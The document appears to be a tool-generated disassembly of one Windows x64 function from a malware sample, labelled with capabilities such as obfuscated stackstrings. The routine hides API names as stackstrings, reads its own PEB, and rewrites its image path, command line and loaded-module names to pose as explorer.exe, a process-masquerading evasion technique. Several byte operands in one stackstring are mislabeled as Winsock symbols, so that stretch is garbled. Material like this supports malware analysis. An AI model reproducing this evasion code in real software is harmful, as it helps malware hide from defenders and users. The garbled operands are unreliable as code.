Function at 0x14000f5cc
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
sub rsp, 0x768
mov byte [rsp + 0x4c0], 0x4e
mov byte [rsp + 0x4c1], 0x74
mov byte [rsp + 0x4c2], 0x51
mov byte [rsp + 0x4c3], 0x75
mov byte [rsp + 0x4c4], 0x65
mov byte [rsp + 0x4c5], 0x72
mov byte [rsp + 0x4c6], 0x79
mov byte [rsp + 0x4c7], 0x49
mov byte [rsp + 0x4c8], 0x6e
mov byte [rsp + 0x4c9], 0x66
mov byte [rsp + 0x4ca], 0x6f
mov byte [rsp + 0x4cb], 0x72
mov byte [rsp + 0x4cc], 0x6d
mov byte [rsp + 0x4cd], 0x61
mov byte [rsp + 0x4ce], 0x74
mov byte [rsp + 0x4cf], 0x69
mov byte [rsp + 0x4d0], 0x6f
mov byte [rsp + 0x4d1], 0x6e
mov byte [rsp + 0x4d2], 0x50
mov byte [rsp + 0x4d3], 0x72
mov byte [rsp + 0x4d4], 0x6f
mov byte [rsp + 0x4d5], 0x63
mov byte [rsp + 0x4d6], 0x65
mov byte [rsp + 0x4d7], 0x73
mov byte [rsp + 0x4d8], 0x73
mov byte [rsp + 0x4d9], 0
lea rcx, [0x140046f08]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rsp + 0x4c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x500], rax
cmp qword [rsp + 0x500], 0
jne 0x14000f6db
xor eax, eax
jmp 0x14000fcb1
mov byte [rsp + 0x278], 0x52
mov byte [rsp + 0x279], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x27a], WSAStartup
mov byte [rsp + 0x27b], 0x45
mov byte [rsp + 0x27c], WSAStartup
mov byte [rsp + 0x27d], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x27e], 0x65
mov byte [rsp + 0x27f], WSAStartup
mov byte [rsp + 0x280], 0x43
mov byte [rsp + 0x281], WSAStartup
mov byte [rsp + 0x282], WSAGetLastError
mov byte [rsp + 0x283], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x284], WSAGetLastError
mov byte [rsp + 0x285], 0x63
mov byte [rsp + 0x286], 0x61
mov byte [rsp + 0x287], WSAStartup
mov byte [rsp + 0x288], 0x53
mov byte [rsp + 0x289], 0x65
mov byte [rsp + 0x28a], 0x63
mov byte [rsp + 0x28b], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x28c], WSAGetLastError
mov byte [rsp + 0x28d], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x28e], WSAStartup
mov byte [rsp + 0x28f], 0
lea rcx, [0x140046f70]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rsp + 0x278]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x750], rax
cmp qword [rsp + 0x750], 0
jne 0x14000f7d3
xor eax, eax
jmp 0x14000fcb1
mov byte [rsp + 0x728], 0x52
mov byte [rsp + 0x729], 0x74
mov byte [rsp + 0x72a], 0x6c
mov byte [rsp + 0x72b], 0x4c
mov byte [rsp + 0x72c], 0x65
mov byte [rsp + 0x72d], 0x61
mov byte [rsp + 0x72e], 0x76
mov byte [rsp + 0x72f], 0x65
mov byte [rsp + 0x730], 0x43
mov byte [rsp + 0x731], 0x72
mov byte [rsp + 0x732], 0x69
mov byte [rsp + 0x733], 0x74
mov byte [rsp + 0x734], 0x69
mov byte [rsp + 0x735], 0x63
mov byte [rsp + 0x736], 0x61
mov byte [rsp + 0x737], 0x6c
mov byte [rsp + 0x738], 0x53
mov byte [rsp + 0x739], 0x65
mov byte [rsp + 0x73a], 0x63
mov byte [rsp + 0x73b], 0x74
mov byte [rsp + 0x73c], 0x69
mov byte [rsp + 0x73d], 0x6f
mov byte [rsp + 0x73e], 0x6e
mov byte [rsp + 0x73f], 0
lea rcx, [0x140046f88]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rsp + 0x728]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x720], rax
cmp qword [rsp + 0x720], 0
jne 0x14000f8cb
xor eax, eax
jmp 0x14000fcb1
mov byte [rsp + 0x4e8], 0x52
mov byte [rsp + 0x4e9], 0x74
mov byte [rsp + 0x4ea], 0x6c
mov byte [rsp + 0x4eb], 0x49
mov byte [rsp + 0x4ec], 0x6e
mov byte [rsp + 0x4ed], 0x69
mov byte [rsp + 0x4ee], 0x74
mov byte [rsp + 0x4ef], 0x55
mov byte [rsp + 0x4f0], 0x6e
mov byte [rsp + 0x4f1], 0x69
mov byte [rsp + 0x4f2], 0x63
mov byte [rsp + 0x4f3], 0x6f
mov byte [rsp + 0x4f4], 0x64
mov byte [rsp + 0x4f5], 0x65
mov byte [rsp + 0x4f6], 0x53
mov byte [rsp + 0x4f7], 0x74
mov byte [rsp + 0x4f8], 0x72
mov byte [rsp + 0x4f9], 0x69
mov byte [rsp + 0x4fa], 0x6e
mov byte [rsp + 0x4fb], 0x67
mov byte [rsp + 0x4fc], 0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rsp + 0x4e8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x298], rax
cmp qword [rsp + 0x298], 0
jne 0x14000f9ab
xor eax, eax
jmp 0x14000fcb1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2a8], eax
mov r8d, dword [rsp + 0x2a8]
xor edx, edx
mov ecx, 0x438
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x240], rax
cmp qword [rsp + 0x240], 0xffffffffffffffff
jne 0x14000f9e7
xor eax, eax
jmp 0x14000fcb1
mov qword [rsp + 0x20], 0
mov r9d, gethostbyname
lea r8, [rsp + 0x248]
xor edx, edx
mov rcx, qword [rsp + 0x240]
call qword [rsp + 0x500]
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x290]
lea rdx, [rsp + 0x250]
mov rcx, qword [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000fa47
xor eax, eax
jmp 0x14000fcb1
mov rax, qword [rsp + 0x290]
add rax, 0x18
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x2a0]
mov rdx, rax
mov rcx, qword [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000fa86
xor eax, eax
jmp 0x14000fcb1
mov edx, 0x104
lea rcx, [rsp + 0x510]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea r8, str.explorer.exe
mov edx, 0x105
lea rcx, [rsp + 0x510]
call fcn.14002a058
mov ecx, 0x104
call fcn.1400295f8
mov qword [rsp + 0x748], rax
lea r8, [rsp + 0x510]
mov edx, 0x104
mov rcx, qword [rsp + 0x748]
call fcn.1400288e0
mov rax, qword [rsp + 0x290]
mov rcx, qword [rax + 0x38]
call qword [rsp + 0x750]
mov rax, qword [rsp + 0x290]
mov rax, qword [rax + 0x20]
add rax, 0x60
mov rdx, qword [rsp + 0x748]
mov rcx, rax
call qword [rsp + 0x298]
mov rax, qword [rsp + 0x290]
mov rax, qword [rax + 0x20]
add rax, 0x70
mov rdx, qword [rsp + 0x748]
mov rcx, rax
call qword [rsp + 0x298]
mov r8d, 0x104
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x290]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x4e0], rax
mov rax, qword [rsp + 0x2a0]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x508], rax
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x740]
lea rdx, [rsp + 0x508]
mov rcx, qword [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000fbac
xor eax, eax
jmp 0x14000fcb1
mov rax, qword [rsp + 0x740]
movzx eax, word [rax + 0x4a]
mov qword [rsp + 0x20], 0
mov r9d, eax
lea r8, [rsp + 0x2b0]
mov rax, qword [rsp + 0x740]
mov rdx, qword [rax + 0x50]
mov rcx, qword [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000fbf1
xor eax, eax
jmp 0x14000fcb1
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x30]
call fcn.140029fd0
test eax, eax
jne 0x14000fc45
mov rax, qword [rsp + 0x740]
add rax, 0x48
mov rdx, qword [rsp + 0x748]
mov rcx, rax
call qword [rsp + 0x298]
mov rax, qword [rsp + 0x740]
add rax, 0x58
mov rdx, qword [rsp + 0x748]
mov rcx, rax
call qword [rsp + 0x298]
jmp 0x14000fc6e
mov rax, qword [rsp + 0x740]
mov rax, qword [rax]
mov qword [rsp + 0x508], rax
mov rax, qword [rsp + 0x4e0]
cmp qword [rsp + 0x508], rax
jne 0x14000fb74
mov rax, qword [rsp + 0x290]
mov rcx, qword [rax + 0x38]
call qword [rsp + 0x720]
mov rcx, qword [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x510]
call fcn.140029fd0
test eax, eax
jne 0x14000fcac
xor eax, eax
jmp 0x14000fcb1
mov eax, 1
add rsp, 0x768
ret